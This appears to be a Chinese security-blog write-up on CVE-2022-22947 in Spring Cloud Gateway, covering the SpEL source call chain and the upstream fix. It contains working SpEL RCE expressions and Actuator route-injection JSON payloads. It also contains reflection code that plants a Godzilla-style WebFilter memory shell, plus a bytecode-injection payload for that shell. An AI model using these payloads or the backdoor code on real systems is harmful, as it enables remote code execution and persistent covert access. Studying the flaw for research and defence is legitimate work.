从CVE-2022-22947学习用java-object-searcher构造哥斯拉马
2023-4-4 09:43:0 Author: xz.aliyun.com(查看原文) 阅读量:21 收藏

这篇文章的主要目的是学习一下spel表达式注入和哥斯拉内存马注入,还有神器java-object-searcher的使用

  • spel支持在运行时查询和操作对象图,以API接口的形式创建,所以可以集成到其他应用程序和框架中

spel接口

  • ExpressionParser接口:解析器

ExpressionParser接口下的parseExpression()方法将字符串表达式转化为Expression对象

  • parseExpression()接收参数:
Expression parseExpression(String expressionString, ParserContext context);

其中parserContext定义了字符串表达式是否为模板,和模板开始与结束字符

我们经常看见的spel表达式以#{xxx}的形式出现,他的parserContext如下:

ParserContext parserContext = new ParserContext() {
            @Override
            public boolean isTemplate() {
                return true;
            }
            @Override
            public String getExpressionPrefix() {
                return "#{";
            }
            @Override
            public String getExpressionSuffix() {
                return "}";
            }
        };
  • EvaluationContext接口:表示上下文环境。以SpelExpression实现,提供getValue和setValue操作对象值

spel语法

  • T(全限定名)表示java.lang.Class,RCE的关键,如下使用T(java.lang.Runtime)获取了类,并且可以直接使用类下的方法
T(java.lang.Runtime).getRuntime().exec("calc")
  • 和java一样的关键字:new进行类实例化,instanceof判断type
new java.lang.ProcessBuilder("calc.exe).start()
  • 变量定义和引用:
    • 变量定义:EvaluationContext的setVariable(name,value)
    • 引用:#name,还支持#this#root

spel Controller

pom.xml中添加依赖:

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-expression</artifactId>
    <version>xxx</version>
</dependency>

创建一个controller接收字符参数

@Controller
public class spel {
    @RequestMapping("/spel")
    @ResponseBody
    public String spel(String input){
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(input);
        return expression.getValue().toString();
    }
}

使用spelExpressionParser接口创建解析器

SpelExpressionParser parser = new SpelExpressionParser();

指定ExpressionParser#parseExpression()来解析表达式

Expression expression = parser.parseExpression(input);

getValue根据上下文获得表达式

expression.getValue().toString();

如果向该Controller HTTP传参,参数名为Input,就能进行spel解析

spel回显

  1. commons-io组件回显。但是需要服务器存在该组件,一般都没有

    T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())
    
  1. jdk>=9时使用JShell
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('java payload').toString()
  1. jdk原生类BufferedReader
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder( "whoami").start().getInputStream(), "gbk")).readLine()
  1. scanner
new java.util.Scanner(new java.lang.ProcessBuilder("ls").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()

useDelimiter为分隔符

源码分析

Spring Cloud GateWay版本:3.1.0&<=3.0.0-3.0.6

源码:https://github.com/spring-cloud/spring-cloud-gateway/releases/tag/v3.1.0

idea打开就能分析了

shortcutConfigurable#getValue中,#{}包住的进行spel解析,这就是链最后的地方,控制entryValue即可实现spel注入

在shortcutType处使用了getValue

由于是在shortcutType中的normalize中调用的getValue(),所以找也要找调用了shortcutType().normalize()方法的类,ConfigurationService就符合

上文的entry.getValue(),entry即为第一个参数,也就是一个Map。这里控制this.properties为恶意map就能控制spel表达式

bind()方法中触发了normalizeProperties()方法:

RouteDefinitionRouteLocator#lookup()方法中对properties进行了设置,然后调用了bind()

properties的值为predicate.getArgs()

在combinePredicates中定义了predicate的值,与routeDefinition有关

convertToRoute()中调用了combinePredicates()

而在路由初始化时触发convertToRoute()

CacheingRouteLocator#onApplicationEvent()->
    CachingRouteLocator#fetch()->
        CompositeRouteLocator#getRoutes()->
            RouteDefinitionRouteLocator#getRoutes()->
                RouteDefinitionRouteLocator#convertToRoute()

漏洞利用

在官方文档https://docs.spring.io/spring-cloud-gateway/docs/3.1.0/reference/html/#actuator-api中,提供了json发送路由请求内容

Actuator API提供了Rest添加路由的方式:

要创建一个路由,请向/gateway/routes/{id_route_to_create}发出一个POST请求,该请求包含一个指定路由字段的JSON主体(见检索某个特定路由的信息)。要删除一个路由,请向/gateway/routes/{id_route_to_delete}发出一个DELETE请求。

http://xxx/actuator/gateway/routes/{xxx}添加路由

也就是可以向http://xxx/actuator/gateway/routes/godown如下payload进行注入

{
  "id": "godown",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"#{T(java.lang.Runtime).getRuntime().exec('calc')}"}
  }],
  "filters": [],
  "uri": "https://www.uri-destination.org",
  "order": 0
}

创建完之后向http://xxx/actuator/gateway/refresh发送请求即可刷新

其实添加的这部分路由对应着配置文件中的route部分:

注意在创建路由的时候把content-type改为application/json

拓展链

上文payload里的其他参数有没有用?name为什么要是Path?

借用奇安信的一张调用栈图:

在RouteDefinitionRouteLocator#convertToRoute()方法处

除了会调用combinePredicates,还会调用getFilters来触发loadGatewayFilters进行bind

所以在filters处注入也是可以的

过滤器名称:

AddRequestHeader
MapRequestHeader
AddRequestParameter
AddResponseHeader
ModifyRequestBody
DedupeResponseHeader
ModifyResponseBody
CacheRequestBody
PrefixPath
PreserveHostHeader
RedirectTo
RemoveRequestHeader
RemoveRequestParameter
RemoveResponseHeader
RewritePath
Retry
SetPath
SecureHeaders
SetRequestHeader
SetRequestHostHeader
SetResponseHeader
RewriteResponseHeader
RewriteLocationResponseHeader
SetStatus
SaveSession
StripPrefix
RequestHeaderToRequestUri
RequestSize
RequestHeaderSize

payload:

{
    "id": "first_route",
    "predicates": [],
    "filters": [{
        "name": "Retry",
        "args": 
            {
                "name": "payload",
                "value": "123"
            }
    }],
    "uri": "https://www.uri-destination.org",
    "order": 0
}

修改filters.name为任意合法过滤器名,payload处改为spel表达式

同理,predicates里的name,我们之前用的Path

实际上下列predicates都能用:

回显

用户定义的路由信息会存在内存中,refresh后会把结果写入路由信息。通过路由信息的API看到RCE的结果(就上面payload注册完路由后GET访问路由路径)

  • 利用RedirectTO过滤器注入:
{
    "id": "first_route",
    "predicates": [],
    "filters": [{
        "name": "RedirectTo",
        "args": 
            {
                "status": "302",
                "url": "payload"
            }
    }],
    "uri": "https://www.uri-destination.org",
    "order": 0
}

在spring官方文档可以看到RedirectTo接收两个参数,一个status一个url,但是会验证参数类型,也就是说status就必须是枚举类型,url就会进行url解析,所以该过滤器不能使用,没有传入字符串类型的参数,如RemoveRequestHeader,同理对predicates链

注入内存马

spring cloud gateway是基于WebFlux的,关于WebFlux,这篇文章有详尽的说明:

https://juejin.cn/post/7001032584821997598

web服务基于netty和spring,c0ny1佬对针对netty和spring构造了内存马

netty内存马

netty处理http请求会用pipeline链上的handler依次来处理,内存马就是模拟注册一个handler。但是netty是动态构造pipeline。

动态添加handler的CompositeChannelPipelineConfigurer的compositeChannelPipelineConfigurer第二个参数other默认为空,即默认第一个。如果第二个参数other有值,将被合并为一个新Configurer

使用reactor.netty.transport.TransportConfig#doOnchannelInit来获取Configurer

至于构造netty内存马的代码,已经来到了知识盲区,直接移步https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg

内存马

分析一遍mieea佬的webFilter内存马

spring Webflux是有filter的,在官方文档里有:

我们知道filter一般都是一个链,在这里是用DefaultWebFilterChain

DefaultWebFilterChain#invokefilter()处触发filter

可以看到filter()参数只有ServerWebExchange,那模拟就return调用下一个filter构成filter链

一个Filter Demo:

import org.springframework.core.annotation.Order;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono;

@Component
@Order(value = 2)
public class NormalFilter implements WebFilter{
    @Override
    public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
        return chain.filter(exchange);
    }
}

反射利用DefaultWebFilterChain#initChain()模拟注册一个filter:

该Chain由FilteringWebHandler生成实例,直接new FilteringWebHandler就能将Filter插入到首位

poc构造:

调试环境:https://github.com/Ha0Liu/CVE-2022-22947

使用c0ny1师傅的java-Object-searcher工具(https://github.com/c0ny1/java-object-searcher)找到内存中DefaultWebFilterChain的位置

新建一个NormalFilter,把编译好的java-obejct-searcher-0.1.0.jar导入到target目录下,项目启动后触发一遍filter

import me.gv7.tools.josearcher.entity.Blacklist;
import me.gv7.tools.josearcher.entity.Keyword;
import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
import org.springframework.core.annotation.Order;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono;

import java.util.ArrayList;
import java.util.List;

@Component
@Order(value = 2)
public class NormalFilter implements WebFilter {
    @Override
    public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
        //设置搜索类型包含Request关键字的对象
        List<Keyword> keys = new ArrayList<>();
        keys.add(new Keyword.Builder().setField_type("chain").build());
        List<Blacklist> blacklists = new ArrayList<>();
        blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
        SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
        searcher.setBlacklists(blacklists);
        searcher.setIs_debug(true);
        searcher.setMax_search_depth(10);
        searcher.setReport_save_path("xx");
        searcher.searchObject();
        return chain.filter(exchange);
    }
}

如下:

于是我们得到内存马构造的流程:

  1. 构造恶意filter

哥斯拉里面生成jsp的马

filter不能影响正常的业务,加一个身份验证的http头:

String authorizationHeader = exchange.getRequest().getHeaders().getFirst(HttpHeaders.AUTHORIZATION);
if(authorizationHeader != null && authorizationHeader.equals(auth)) {......}

表单数据用ServerWebexchange.getFormData()获取

Mono<MultiValueMap<String, String>> formData = exchange.getFormData();

获取到的数据是键值对数据流,用flatMap对数据流进行合并化:

Mono bufferStream = formData.flatMap(map -> {
                String passStr = map.getFirst(pass);
                StringBuilder result = new StringBuilder();
                ......
                return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8)));
});

为方便移植,把哥斯拉的session换成Map<String,Object>

public static Map<String, Object> store = new HashMap<>();
  1. 从线程中获取到DefaultWebFilterChain:
getThreads = Thread.class.getDeclaredMethod("getThreads");
        getThreads.setAccessible(true);
        Object threads = getThreads.invoke(null);
        for (int i = 0; i < Array.getLength(threads); i++) {
            Object thread = Array.get(threads, i);
            if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
                // 获取defaultWebFilterChain
                NettyWebServer nettyWebServer = (NettyWebServer) getFieldValue(thread, "this$0",false);
                ReactorHttpHandlerAdapter reactorHttpHandlerAdapter = (ReactorHttpHandlerAdapter) getFieldValue(nettyWebServer, "handler",false);
                Object delayedInitializationHttpHandler = getFieldValue(reactorHttpHandlerAdapter,"httpHandler",false);
                HttpWebHandlerAdapter httpWebHandlerAdapter= (HttpWebHandlerAdapter)getFieldValue(delayedInitializationHttpHandler,"delegate",false);
                ExceptionHandlingWebHandler exceptionHandlingWebHandler= (ExceptionHandlingWebHandler)getFieldValue(httpWebHandlerAdapter,"delegate",true);
                FilteringWebHandler filteringWebHandler = (FilteringWebHandler)getFieldValue(exceptionHandlingWebHandler,"delegate",true);
                DefaultWebFilterChain defaultWebFilterChain= (DefaultWebFilterChain)getFieldValue(filteringWebHandler,"chain",false);
  1. 将恶意filter插入到Chain中,并指定到首位(0位)
List<WebFilter> newAllFilters= new ArrayList<>(defaultWebFilterChain.getFilters());
newAllFilters.add(0,new FilterMemshellPro());
DefaultWebFilterChain newChain = new DefaultWebFilterChain((WebHandler) handler, newAllFilters);

生成filteringWebHandler:

Field f = filteringWebHandler.getClass().getDeclaredField("chain");
....
f.set(filteringWebHandler,newChain);

直达github完整poc:https://github.com/mieeA/SpringWebflux-MemShell/

spel表达式注入字节码

Memshell改为你的软件包名+shell

#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}

其中'yv66vgAAA....'为Base64Encode的字节码,可通过如下代码生成:

import org.springframework.util.Base64Utils;

import java.io.*;
import java.nio.charset.StandardCharsets;

public class EncodeShell {
 public static void main(String[] args){
     byte[] data = null;
     try {
         InputStream in = new FileInputStream("MemShell.class");
         data = new byte[in.available()];
         in.read(data);
         in.close();
     } catch (IOException e) {
         e.printStackTrace();
     }
     String shellStr = Base64Utils.encodeToString(data);
     System.out.println(shellStr);
     try {
         OutputStream out = new FileOutputStream("ShellStr.txt");
         out.write(shellStr.getBytes(StandardCharsets.UTF_8));
         out.flush();
         out.close();
     } catch (IOException e) {
         e.printStackTrace();
     }
 }
}

如果注入过程有问题,可以在docker中看下Log

漏洞修复

https://github.com/spring-cloud/spring-cloud-gateway/commit/d8c255eddf4eb5f80ba027329227b0d9e2cd9698

commit的历史中,把StandardEvaluationContext替换为了SimpleEvalutionContext

参考:spel表达式注入

spel注入分析

http://wjlshare.com/archives/1748

https://xz.aliyun.com/t/11331

https://forum.butian.net/share/1410

https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg


文章来源: https://xz.aliyun.com/t/12388
如有侵权请联系:admin#unsafe.sh